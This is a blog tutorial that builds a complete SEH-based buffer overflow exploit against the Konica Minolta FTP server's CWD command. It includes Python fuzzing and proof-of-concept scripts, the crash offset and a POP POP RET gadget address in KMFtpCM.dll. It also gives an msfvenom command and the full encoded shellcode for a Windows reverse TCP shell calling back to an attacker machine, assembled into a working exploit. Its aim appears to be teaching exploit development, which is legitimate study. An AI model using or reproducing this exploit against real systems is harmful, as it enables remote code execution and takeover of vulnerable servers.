Amonsec

It's all about digital security.

A simple blog where you can find different things about digital security.

Windows SEH Based Buffer Overflow

Introduction

For this post, we will find and exploit a SEH vulnerability in the Konica Minolta FTP server.

All I used can be download here:

You can download scripts in my github:

If you don’t have a solid knowledge about stack based buffer overflow I highly encourage you to read my first blog post: here.

 

What Do you mean about SEH?!

SEH is an acronym for Structured Exception Handler. We can deal with exception handler when developers of a software try to handle potential exception(s) during the execution of the program, in many cases it’s when we have a try catch statement.

try {
  // Code to execute
} catch (Exception ...) {
  // Code to execute if an exception is raise in the try section
}

Two different types of exception handler exists:

  • The default Windows EH (UnhandledExceptionFilter) and
  • The EHs that you implement with a specific development language;

 

The thing that we have to know is that the SEH is composed of two pointers, the pointer of the next SEH if the current EH is not able to handle the raised exception and the pointer of the EH. This structure of 8 bytes (2x 4 bytes) is called SEH record.

That’s what the SEH chain should look like:

training_windows_seh_based_buffer_overflow_seh_chain.png

To conclude, instead of overwriting EIP we will overwrite both the address of EH and the address of the next SHE in order to redirect the execution flow somewhere where we can execute the injected shellcode. Note, due to the fact it’s an 8 bytes structure we have to find instructions that will increase the stack by 8 bytes if we want to be redirected at the beginning of the next SEH. That’s where the POP POP RET method comes in.

More information about SEH can be found in the Microsoft System Journal of January 1997 or in the Corelan website.

 

Fuzzing the FTP Server

The first thing that we have to do when we have an unknown software is to fuzz it in order to find an entry point. The following Python script can be used to fuzz the CWD command in the FTP server.

#!/usr/bin/python
import sys
import socket

rhost = '192.168.1.100'

buffer = ["A"]
counter = 100
while len(buffer) <= 50:
  buffer.append("A" * counter)
  counter = counter + 200

for string in buffer:
    print '[-] Fuzzing: {}'.format(len(string))

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((rhost, 21))

        s.recv(2048)
        s.send('USER offsec\r\n')
        s.recv(2048)
        s.send('PASS offsec\r\n')
        s.recv(2048)
        s.send('CWD {}\r\n'.format(string))
        s.close()
    except socket.error as error:
        s.close()
        print error

After 1300 characters the server crash.

training_windows_seh_based_buffer_overflow_fuzzing_register.png

As explained in the previous section EIP is NOT overwritten, but if we take a look at the SEH record (ALT + S) we will see that we have a corrupted entry.

training_windows_seh_based_buffer_overflow_fuzzing_seh_overwrite.png
 

Controlling EH and nSEH pointers

We can replicate the crash with this Python script.

#!/usr/bin/python
import sys
import socket

rhost = '192.168.1.100'

exploit = ''
exploit += '\x41' * 1300

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, 21))

    s.recv(2048)
    s.send('USER offsec\r\n')
    s.recv(2048)
    s.send('PASS offsec\r\n')
    s.recv(2048)
    s.send('CWD {}\r\n'.format(exploit))
    s.close()
    print 'Evil buffer sent!'

except Exception as error:
    print error
    sys.exit(1)

Let’s find with how many bytes we overwrite the next SEH pointer. Like in the first post I will use both the pattern_create tool and the mona.py findmsp command.

root@kali:~/website/seh-exploit# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B
root@kali:~/website/seh-exploit#

Apparently with 1037 bytes.

training_windows_seh_based_buffer_overflow_pattern_create.png

Now, we update the PoC and let’s see if we control EH and the next SEH.

[..snip..]
exploit = ''
exploit += '\x41' * 1037  # Junk data
exploit += '\x42' * 4     # next SEH
exploit += '\x43' * 4     # EH
exploit += '\xcc' * 2000  # More junk
[..snip..]

As expected, the pointer of the EH is overwritten with our Cs and the pointer of the next SEH is overwritten with our Bs.

training_windows_seh_based_buffer_overflow_controlled_seh_and_nseh.png
 

Redirecting the execution flow

Now, we have to find POP POP RET instructions in order to increase the stack pointer and to return at the beginning of the next SEH. For that, we use the seh mona.py command.

training_windows_seh_based_buffer_overflow_find_seh_addresses.png

The first address given by mona can be use. Note, ASLR, SafeSEH and Rebase are disabled. Moreover, it’s not an OS based address, that means we can use it for all OS versions.

0x1220401e : pop ecx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [KMFtpCM.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.0 (C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtpCM.dll)

The updated PoC with the POP POP RET address should look like that:

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += '\x42' * 4
exploit += struct.pack('<L', 0x1220401e)
exploit += '\xcc' * 2000
[..snip..]

At the crash we can execute Shift + F9 to pass the execution and reach the breakpoint.

training_windows_seh_based_buffer_overflow_pop_pop_ret_address.png

If we execute these three instructions we will increase the stack by 8 bytes and the stack pointer (ESP) will point at the address of the next SEH so when the RET instruction is executed we return at the beginning of the next SEH.

training_windows_seh_based_buffer_overflow_void_nseh.png

Now, instead of using Bs for the next SEH we will use a JMP SHORT 8 instruction to jump over the EH address. We can use nasm_shell.rb from the Metasploit framework to find the hexadecimal representation of ASM instructions.

nasm > jmp short 08
00000000  EB06              jmp short 0x8
nasm >

We update the PoC with the JUMP SHORT 8 instruction:

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += struct.pack('<L', 0x06eb9090)
exploit += struct.pack('<L', 0x1220401e)
exploit += '\xcc' * 2000
[..snip..]

Finally, we successfully jump over the EH address.

training_windows_seh_based_buffer_overflow_jump_over_seh_addr.png
 

Remote shell

For this post I will skip the research of badchars because I already explain how to do it in the first post. For this exploit badchars are: \x00\x0a\x0d 

We can generate a reverse shell with msfvenom:

root@kali:~/website/seh-exploit# msfvenom -p windows/shell_reverse_tcp LPORT=7734 LHOST=192.168.1.104 -v shellcode -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1900 bytes
shellcode =  ""
shellcode += "\xda\xde\xba\x14\x94\xe3\x10\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x52\x83\xed\xfc\x31\x55\x13\x03\x41"
shellcode += "\x87\x01\xe5\x95\x4f\x47\x06\x65\x90\x28\x8e\x80"
shellcode += "\xa1\x68\xf4\xc1\x92\x58\x7e\x87\x1e\x12\xd2\x33"
shellcode += "\x94\x56\xfb\x34\x1d\xdc\xdd\x7b\x9e\x4d\x1d\x1a"
shellcode += "\x1c\x8c\x72\xfc\x1d\x5f\x87\xfd\x5a\x82\x6a\xaf"
shellcode += "\x33\xc8\xd9\x5f\x37\x84\xe1\xd4\x0b\x08\x62\x09"
shellcode += "\xdb\x2b\x43\x9c\x57\x72\x43\x1f\xbb\x0e\xca\x07"
shellcode += "\xd8\x2b\x84\xbc\x2a\xc7\x17\x14\x63\x28\xbb\x59"
shellcode += "\x4b\xdb\xc5\x9e\x6c\x04\xb0\xd6\x8e\xb9\xc3\x2d"
shellcode += "\xec\x65\x41\xb5\x56\xed\xf1\x11\x66\x22\x67\xd2"
shellcode += "\x64\x8f\xe3\xbc\x68\x0e\x27\xb7\x95\x9b\xc6\x17"
shellcode += "\x1c\xdf\xec\xb3\x44\xbb\x8d\xe2\x20\x6a\xb1\xf4"
shellcode += "\x8a\xd3\x17\x7f\x26\x07\x2a\x22\x2f\xe4\x07\xdc"
shellcode += "\xaf\x62\x1f\xaf\x9d\x2d\x8b\x27\xae\xa6\x15\xb0"
shellcode += "\xd1\x9c\xe2\x2e\x2c\x1f\x13\x67\xeb\x4b\x43\x1f"
shellcode += "\xda\xf3\x08\xdf\xe3\x21\x9e\x8f\x4b\x9a\x5f\x7f"
shellcode += "\x2c\x4a\x08\x95\xa3\xb5\x28\x96\x69\xde\xc3\x6d"
shellcode += "\xfa\x21\xbb\x6c\x92\xc9\xbe\x6e\x7c\x3c\x36\x88"
shellcode += "\xea\x50\x1e\x03\x83\xc9\x3b\xdf\x32\x15\x96\x9a"
shellcode += "\x75\x9d\x15\x5b\x3b\x56\x53\x4f\xac\x96\x2e\x2d"
shellcode += "\x7b\xa8\x84\x59\xe7\x3b\x43\x99\x6e\x20\xdc\xce"
shellcode += "\x27\x96\x15\x9a\xd5\x81\x8f\xb8\x27\x57\xf7\x78"
shellcode += "\xfc\xa4\xf6\x81\x71\x90\xdc\x91\x4f\x19\x59\xc5"
shellcode += "\x1f\x4c\x37\xb3\xd9\x26\xf9\x6d\xb0\x95\x53\xf9"
shellcode += "\x45\xd6\x63\x7f\x4a\x33\x12\x9f\xfb\xea\x63\xa0"
shellcode += "\x34\x7b\x64\xd9\x28\x1b\x8b\x30\xe9\x2b\xc6\x18"
shellcode += "\x58\xa4\x8f\xc9\xd8\xa9\x2f\x24\x1e\xd4\xb3\xcc"
shellcode += "\xdf\x23\xab\xa5\xda\x68\x6b\x56\x97\xe1\x1e\x58"
shellcode += "\x04\x01\x0b"
root@kali:~/website/seh-exploit#

We add the shellcode to our PoC.

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += struct.pack('<L', 0x06eb9090)
exploit += struct.pack('<L', 0x1220401e)
exploit += shellcode
exploit += '\xcc' * (2000 - len(shellcode))
[..snip..]

After all, we successfully gain a reverse shell.

training_windows_seh_based_buffer_overflow_final_shell.png
 
 

break